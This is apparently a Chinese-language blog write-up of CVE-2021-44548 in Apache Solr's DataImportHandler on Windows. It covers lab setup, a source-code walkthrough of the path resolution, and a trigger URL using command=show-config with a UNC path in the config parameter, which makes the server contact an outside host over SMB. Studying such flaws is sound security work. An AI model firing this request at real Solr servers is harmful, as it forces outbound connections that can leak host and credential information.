前言
之前在zsxq看到有师傅发solr的洞:CVE-2021-44548,今天看了一下,但是好像危害不大,不过还是以学习为主看一波
描述:
Apache Solr 的 DataImportHandler 中的一个不正确的输入验证漏洞允许攻击者提供 Windows UNC 路径,导致从 Solr 主机向网络上的另一台主机进行 SMB 网络调用。
https://issues.apache.org/jira/browse/SOLR-15826
影响版本
version < 8.11.1(windows)
环境搭建
然后bin目录下
./solr.cmd start -p 8983 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988 "
然后这里需要创建一个SolrCore(需要命令行创建!)
./solr.cmd create_core -c core1
然后在solr-8.11.0\dist
目录中
wget https://mirror.shileizcc.com/Solr/mysql-connector-java-5.1.42-bin.jar
wget https://mirror.shileizcc.com/Solr/solr-dataimporthandler-7.3.1.jar
wget https://mirror.shileizcc.com/Solr/solr-dataimporthandler-extras-7.3.1.jar
在solr-8.11.0\server\solr\core1\conf\solrconfig.xml
中添加DataImportHandler
路由
<requestHandler name="/dataimport" class="org.apache.solr.handler.dataimport.DataImportHandler">
<lst name="defaults">
<str name="config">data-config.xml</str>
</lst>
</requestHandler>
<lib dir="D:\临时\Apache_Solr\solr-8.11.0\dist/" regex="mysql-connector-java-5.1.42-bin.jar" />
<lib dir="D:\临时\Apache_Solr\solr-8.11.0\contrib/dataimporthandler/lib" regex=".*\.jar" />
<lib dir="D:\临时\Apache_Solr\solr-8.11.0\contrib/dataimporthandler-extras/lib" regex=".*\.jar" />
<lib dir="D:\临时\Apache_Solr\solr-8.11.0\dist/" regex="solr-dataimporthandler.*\.jar" />
重启solr即可
漏洞分析
这里补丁判断了resource是否开头为\\
再看一下描述
所以这个漏洞就是通过resource为\\ip
,然后solr就回去请求该unc路径造成信息泄露什么的
然后下一步找触发点
在dataimport这里可以看到能加载data-config.xml
点一下reload,看一下请求路由
http://localhost:8983/solr/core1/dataimport?_=1640242938294&command=reload-config&indent=on&wt=json
可以发现处理请求的地方在DataImportHandler#handleRequestBody
其实这个地方根据之前写的solrconfig.xml
也能看到
这里发现如果传入的command=show-config
并且传入config
不为空则有一个openResource
操作,且参数可控
跟入solr-core-8.11.0.jar!\org\apache\solr\core\SolrResourceLoader.openResource
这里的342行
this.getInstancePath()
得到的路径为D:\Apache_Solr\solr-8.11.0\server\solr\core1
再执行resolve("conf")
变成,D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf
再执行resolve(resource)
时,这里的WindowsPathType变成了UNC
resolve逻辑判断WindowsPathType是否为绝对路径或UNC路径,是则直接返回参数
所以只要resource以\\
开头就能使inConfigDir
完全可控,在Files.exists
中就会去请求windows的unc路径,这里用dnslog代替了
本来想试一下能不能任意文件读,但是这里会处理..
然后判断开头是否为SolrCore的路径,所以只能读SolrCore下的文件,要么就开启-Dsolr.allow.unsafe.resourceloading=true
http://localhost:8983/solr/core1/dataimport?command=show-config&config=\\xxx\xxx
太菜了不知道怎么扩大危害